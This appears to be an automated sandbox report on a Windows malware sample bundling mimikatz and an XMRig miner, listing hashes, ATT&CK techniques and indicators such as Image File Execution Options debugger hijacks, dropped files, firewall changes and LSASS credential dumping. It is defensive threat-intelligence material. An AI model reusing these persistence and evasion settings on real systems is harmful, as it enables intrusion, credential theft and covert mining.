mimikatz | 6fbe9dc366324302495fada46659bcfdef73c16a6d8c1dbf8dd4cf1f0022a721

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-11-2024 09:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe
Size

9.7MB
MD5

d3e6d3752f148a7d87320707ca7d6d01
SHA1

585cdae0d549be2dc08c12d541f253ed053f62dd
SHA256

6fbe9dc366324302495fada46659bcfdef73c16a6d8c1dbf8dd4cf1f0022a721
SHA512

7ba76de9b57cab2f9f56766fb2dbca3807ff5432e98e404a57437072d515916c6a26c18018c274d98f54942aee792956044950c3a5dce29ea880a304e78923c1
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

mgmtcbi.exe

description	pid	Process	procid_target
PID 4920 created 2164	4920	mgmtcbi.exe	38

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (28109) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1620-177-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-182-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-197-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-210-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-218-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-231-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-250-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-262-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-304-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-361-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-362-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig
behavioral2/memory/1620-365-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/920-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/920-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0007000000023c9b-6.dat	mimikatz
behavioral2/memory/408-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/1504-137-0x00007FF7FD5A0000-0x00007FF7FD68E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

Processes:

mgmtcbi.exewpcap.exe

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	mgmtcbi.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	mgmtcbi.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

mgmtcbi.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exenetsh.exe

pid	Process
460	netsh.exe
2440	netsh.exe

Executes dropped EXE 30 IoCs

Processes:

mgmtcbi.exemgmtcbi.exewpcap.exeliuibviiz.exevfshost.exeiyibcmiuc.exeltbtbc.exexohudmc.exexcllyg.exeiyibcmiuc.exemgmtcbi.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exebtuizeiim.exemgmtcbi.exeiyibcmiuc.exeiyibcmiuc.exe

pid	Process
408	mgmtcbi.exe
4920	mgmtcbi.exe
4264	wpcap.exe
2248	liuibviiz.exe
1504	vfshost.exe
4964	iyibcmiuc.exe
1620	ltbtbc.exe
4284	xohudmc.exe
4516	xcllyg.exe
2052	iyibcmiuc.exe
4164	mgmtcbi.exe
444	iyibcmiuc.exe
972	iyibcmiuc.exe
2980	iyibcmiuc.exe
1676	iyibcmiuc.exe
4108	iyibcmiuc.exe
3492	iyibcmiuc.exe
2516	iyibcmiuc.exe
4712	iyibcmiuc.exe
4120	iyibcmiuc.exe
2880	iyibcmiuc.exe
4676	iyibcmiuc.exe
428	iyibcmiuc.exe
1568	iyibcmiuc.exe
3872	iyibcmiuc.exe
3388	iyibcmiuc.exe
3816	btuizeiim.exe
6028	mgmtcbi.exe
5436	iyibcmiuc.exe
1452	iyibcmiuc.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exeliuibviiz.exe

pid	Process
4264	wpcap.exe
4264	wpcap.exe
4264	wpcap.exe
4264	wpcap.exe
4264	wpcap.exe
4264	wpcap.exe
4264	wpcap.exe
4264	wpcap.exe
4264	wpcap.exe
2248	liuibviiz.exe
2248	liuibviiz.exe
2248	liuibviiz.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
79	ifconfig.me
80	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

Processes:

wpcap.exexohudmc.exemgmtcbi.exe

description	ioc	Process
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\xcllyg.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	mgmtcbi.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	mgmtcbi.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\xcllyg.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	mgmtcbi.exe

UPX packed file 38 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/0x0007000000023cee-134.dat	upx
behavioral2/memory/1504-136-0x00007FF7FD5A0000-0x00007FF7FD68E000-memory.dmp	upx
behavioral2/memory/1504-137-0x00007FF7FD5A0000-0x00007FF7FD68E000-memory.dmp	upx
behavioral2/files/0x0007000000023cf9-140.dat	upx
behavioral2/memory/4964-141-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/4964-145-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/files/0x0007000000023cf6-148.dat	upx
behavioral2/memory/1620-149-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/2052-174-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1620-177-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/444-180-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1620-182-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/972-185-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/2980-190-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1676-194-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1620-197-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/4108-199-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/3492-203-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/2516-207-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1620-210-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/4712-212-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/4120-216-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1620-218-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/2880-221-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/4676-225-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/428-229-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1620-231-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/1568-233-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/3872-235-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/3388-247-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1620-250-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/5436-255-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1452-258-0x00007FF7ADA00000-0x00007FF7ADA5B000-memory.dmp	upx
behavioral2/memory/1620-262-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/1620-304-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/1620-361-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/1620-362-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx
behavioral2/memory/1620-365-0x00007FF6653F0000-0x00007FF665510000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

mgmtcbi.execmd.exebtuizeiim.exe2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe

description	ioc	Process
File created	C:\Windows\jhetmctcv\UnattendGC\specials\svschost.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\exma-1.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\trch-1.dll	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\vimpcsvc.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\schoedcl.xml	mgmtcbi.exe
File opened for modification	C:\Windows\jhetmctcv\Corporate\log.txt	cmd.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\trfo-2.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\ucl.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\vimpcsvc.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\docmicfg.xml	mgmtcbi.exe
File created	C:\Windows\ybemumnz\schoedcl.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\libxml2.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\posh-0.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\vimpcsvc.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\ip.txt	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\libeay32.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\tucl-1.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\tibe-2.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\spoolsrv.xml	mgmtcbi.exe
File created	C:\Windows\ybemumnz\spoolsrv.xml	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\schoedcl.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\Corporate\vfshost.exe	mgmtcbi.exe
File opened for modification	C:\Windows\jhetmctcv\bctzbzczb\Packet.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\crli-0.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\Packet.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\AppCapture32.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\docmicfg.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\schoedcl.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\svschost.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\spoolsrv.xml	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\docmicfg.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\Shellcode.ini	mgmtcbi.exe
File opened for modification	C:\Windows\jhetmctcv\bctzbzczb\Result.txt	btuizeiim.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\zlib1.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\docmicfg.xml	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\svschost.xml	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\spoolsrv.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\AppCapture64.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\upbdrjv\swrpwe.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\scan.bat	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\wpcap.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\btuizeiim.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\ssleay32.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\Corporate\mimidrv.sys	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\liuibviiz.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\wpcap.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\xdvl-0.dll	mgmtcbi.exe
File created	C:\Windows\ybemumnz\mgmtcbi.exe	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\cnli-1.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\schoedcl.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\vimpcsvc.xml	mgmtcbi.exe
File created	C:\Windows\ybemumnz\svschost.xml	mgmtcbi.exe
File created	C:\Windows\ime\mgmtcbi.exe	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\mgmtcbi.exe	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\coli-0.dll	mgmtcbi.exe
File created	C:\Windows\ybemumnz\vimpcsvc.xml	mgmtcbi.exe
File created	C:\Windows\ybemumnz\docmicfg.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\Corporate\mimilib.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\spoolsrv.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\svschost.xml	mgmtcbi.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid	Process
4000	sc.exe
1732	sc.exe
1468	sc.exe
1184	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
